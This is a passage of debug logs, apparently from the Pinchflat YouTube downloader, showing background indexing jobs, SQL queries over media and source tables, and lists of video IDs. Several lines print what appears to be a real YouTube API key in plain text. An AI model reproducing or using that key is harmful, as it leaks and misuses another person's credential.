"UKe5sYfn5EY", "gvQT7ECCuDU", "7QoryyHW2VY", "OqA1yhu41so", "8Kz9f-UzpX0", "qgdHLj6Xtdo", "BPGbGYYO2eY", "Gik8xyVow0A", "bDum6c8SoRw", "g63zi5h7sSM", "exUUeZSHrMY", "SDVMlDYUgsA", "H5V319xB7WE", "jf2otd0yO5I", "YF9xXeebrCI", "wqTIn6iGJd8", "y3v0uFqgtJM", "iGRSfesAJ4k", "XNeGT_51LKM", "gBy0C2F-q0w", "Olu7GlTkKJU", "1zENw7nCecE", "AnJU-TxeJe0", "JP6u3p6AOIg", "zbhPsblrMT0", "oY3y4IJ3l_w", "3qFWzdhUjSk", "gjiAsn_EV8g", "4pE6u3dWu-0", "0SEzwZ6pGRQ", "4MCrCkm5g9Y", "mQvJiP4Zd1E", "tBG3sf4QnSc", "uZQkRXk2t6o", "uGoQkin-sb8", "wthVwIc9u8s", "QfF3T3TyUnc", "b5TtJHJD0o4", "BueJnc9uOYo", "7Kt4RnUSNvY", ...] 16:57:46.079 [debug] QUERY OK source="media_items" db=1.8ms idle=100.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [40] 16:57:46.080 [debug] QUERY OK source="tasks" db=0.1ms idle=102.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800109, 40, ~U[2026-02-10 22:57:46Z], ~U[2026-02-10 22:57:46Z]] 16:57:46.080 [info] {"args":{"id":40},"id":3800070,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":104062,"event":"job:stop","queue_time":592608,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:57:46.978 [info] {"args":{"id":2},"id":3800071,"meta":{},"system_time":1770764266978722955,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:57:46.979 [debug] QUERY OK source="sources" db=0.2ms idle=898.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 16:57:46.979 [debug] QUERY OK source="settings" db=0.1ms idle=898.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:46.979 [debug] QUERY OK source="media_profiles" db=0.1ms idle=892.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:57:46.979 [debug] QUERY OK source="settings" db=0.1ms idle=7.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:46.980 [debug] Fetching recent media IDs from YouTube API for playlist: UUdBK94H6oZT2Q7l0-b0xmMg 16:57:46.980 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:46.980 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:57:47.128 [debug] QUERY OK source="media_items" db=0.7ms idle=148.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "6ZgZNKd6L4w", "k99eZELFMnQ", "SoyXQcmSSDA", "hQDwpXfJXYI", "LRkDQZo_Anw", "sqng2mGejKw", "k9UsDilfbYM", "_cY1rFrNQpE", "7kqvE63fnE4", "jBYgqIPeZ4M", "oIs2ZCcj2Vg", "ck7r7wo829A", "Rv3LJQLMh3U", "LbVz5hXSIKg", "RB7CfRSFjCw", "B9DnrUB4CJM", "ghawYhsGdug", "uQkIZvbbQDA", "4GtFKbysSDY", "Bu671EegYWY", "UYErV4JoFyM", "y_d40V40clo", "7SRjYEHzbX8", "ij2ASG-LSt8", "RGLVdoaD-T0", "bvkgOoZKcwM", "j_2jvyqta0s", "4c63FU_d8T8", "RK2SnHjxGVs", "rA9aiYZOExg", "W8C4Ei0Ykvg", "rvP7or3PPNM", "ZFn-Q-PZtZU", "fwpnuNrSDaI", "ksLlg8f997w", "0RssLJL30h0", "dlW6a17NRew", "dd1TeK-YFuk", "9jBseM65hbs", "QQ49D1E24NM", "1GXzDm8PYp8", "B3P2jc8GX_Y", "ane7B2Q8jbs", "zjmbsU9GD6w", "7Y0UEQ_Jj_c", "clSil9gwZmM", "VKMzpJj8iFo", "j8-OvS8FY0k", "hOIjQTFD_Ss", ...] 16:57:47.131 [debug] QUERY OK source="media_items" db=2.3ms idle=149.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 16:57:47.132 [debug] QUERY OK source="tasks" db=0.1ms idle=152.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800110, 2, ~U[2026-02-10 22:57:47Z], ~U[2026-02-10 22:57:47Z]] 16:57:47.133 [info] {"args":{"id":2},"id":3800071,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":154122,"event":"job:stop","queue_time":574148,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:57:48.981 [info] {"args":{"id":38},"id":3800072,"meta":{},"system_time":1770764268981627542,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:57:48.981 [debug] QUERY OK source="sources" db=0.1ms idle=103.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [38] 16:57:48.982 [debug] QUERY OK source="settings" db=0.1ms idle=103.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:48.982 [debug] QUERY OK source="media_profiles" db=0.1ms idle=103.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:57:48.982 [debug] QUERY OK source="settings" db=0.0ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:48.982 [debug] Fetching recent media IDs from YouTube API for playlist: UU04RYGK0kWq2GJH7uKuvdFg 16:57:48.982 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:48.982 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:57:49.316 [debug] QUERY OK source="media_items" db=0.7ms idle=334.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [38, "ZtyjAvMIzvs", "ZoadJmKmyVI", "wtPYQdWPea0", "iY_9XEC6mq4", "BWADrQ3CQV4", "XunRKZR1ESc", "dfKW4ZBOaW4", "pD_HukFdNV8", "FJ6nxXlYZac", "FSTfYrqaNgc", "vPg59pmB1Nc", "l5Fl0XIxKfM", "ARwO8ApGMpU", "e7YtjflOT0I", "kl6AlqzF0N0", "VdPv4d0SYvc", "82Lo2Wf3TXM", "qS3cA_cZngc", "g4pJ-Mw53aU", "lbK38r-gV2Q", "U4OyMqmXqpo", "7tASAaMn9hA", "m1miWJTudv4", "VqkxBi1sBG0", "4OuM5mLWQq4", "sgMMljY3oFA", "tXy9epkxt70", "4CLC3yyK09w", "u0OSIl2-53w", "ATDYVHdtpEc", "zDyTHWr1N50", "fQGsTtqzB3Q", "qyCvEerjhnU", "WmFiNcw57o8", "rxhKvzxJgRk", "v3QssL74wA8", "5nKwdMKglm4", "D6xw9bxy3Qg", "rq0urtj1qaM", "qBdYNLq9VCE", "Ibi0y39Aiac", "5Q7ZKetopT4", "NO1V5fR0uH8", "QALB7C5SBSU", "Wq_iFeRsqTo", "3ro8TFTmYyA", "3Oa-9oelGWM", "ldsSZydyJds", "FQRm3QbUWG0", ...] 16:57:49.319 [debug] QUERY OK source="media_items" db=1.8ms idle=335.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [38] 16:57:49.320 [debug] QUERY OK source="tasks" db=0.1ms idle=337.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800111, 38, ~U[2026-02-10 22:57:49Z], ~U[2026-02-10 22:57:49Z]] 16:57:49.320 [info] {"args":{"id":38},"id":3800072,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":338557,"event":"job:stop","queue_time":283421,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:57:50.983 [info] {"args":{"id":41},"id":3800073,"meta":{},"system_time":1770764270983699954,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:57:50.984 [debug] QUERY OK source="sources" db=0.1ms idle=105.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [41] 16:57:50.984 [debug] QUERY OK source="settings" db=0.0ms idle=105.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:50.984 [debug] QUERY OK source="media_profiles" db=0.1ms idle=105.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:57:50.984 [debug] QUERY OK source="settings" db=0.0ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:50.984 [debug] Fetching recent media IDs from YouTube API for playlist: UUBPQEmXGMQ94cVvWwNaJYvA 16:57:50.984 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:50.984 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:57:51.060 [debug] QUERY OK source="media_items" db=0.7ms idle=75.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [41, "oi7b2R-UtzQ", "UhiAajLeMP4", "xUZ5SUZJLpI", "NuGLHRLsQMo", "T0pORsilgsA", "XrouZ_x_bCM", "Wc_717YgMD4", "XCpIQPZpRzY", "JCVcU_lipA8", "En6vq_4kncQ", "P_Fx911Mhz0", "HLmwXcg4SFY", "PC8SSpITSn4", "t-1kAyLif_Q", "ZNBdvuYDYig", "BET6j3gkxvM", "-dz0uGjJTXM", "n0EVf85B-nE", "eEi3gMjv6fo", "M0dCAV8ZLig", "_CJu60_Y43U", "FAw6YBA6Xp4", "i6b-p3QwgOs", "w7hhs98tplk", "eyedA_SXkgg", "DQWK28ug2Hg", "_mBggwjnhJE", "CjnexVMu0Kc", "hnMLJmbkf9c", "aqIf7GyL0wM", "eTDZKMNQ8YE", "h7nAUIq4c_A", "KMWFGSFRx50", "PHK2NuPSKg0", "f2uvTaavUR4", "ZEvVviGx8Bo", "MVCFQK-T0Aw", "fWQVSlFLQmA", "b9u77EHzDuo", "B7etbk9-gW8", "jRwPaXJTiFA", "3F2jfrzRu9A", "9yetu4LD2KY", "lnEFoY6fmQU", "frnl_o6OMOI", "vuK28mWFYnI", "CmEUBiuZwcM", "5SKQVu1LEdM", "j5fvWR98ldI", ...] 16:57:51.061 [debug] QUERY OK source="media_items" db=0.5ms idle=76.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [41] 16:57:51.062 [debug] QUERY OK source="tasks" db=0.1ms idle=77.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800112, 41, ~U[2026-02-10 22:57:51Z], ~U[2026-02-10 22:57:51Z]] 16:57:51.062 [info] {"args":{"id":41},"id":3800073,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":78437,"event":"job:stop","queue_time":586148,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:57:51.985 [info] {"args":{"id":5},"id":3800074,"meta":{},"system_time":1770764271985712559,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:57:51.986 [debug] QUERY OK source="sources" db=0.1ms idle=923.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 16:57:51.986 [debug] QUERY OK source="settings" db=0.0ms idle=923.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:51.986 [debug] QUERY OK source="media_profiles" db=0.1ms idle=917.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:57:51.986 [debug] QUERY OK source="settings" db=0.0ms idle=7.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:51.986 [debug] Fetching recent media IDs from YouTube API for playlist: UUWFKCr40YwOZQx8FHU_ZqqQ 16:57:51.986 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:51.986 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:57:52.087 [debug] QUERY OK source="media_items" db=0.8ms idle=100.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [5, "at1HS1CNhe4", "pdrkOatgS_A", "fZX9-DTtDu8", "DgIv5AL8ek0", "djQQcn82_-M", "8lgb4yJ4apU", "loHSfZtIZbE", "nb0MwOXlSZ4", 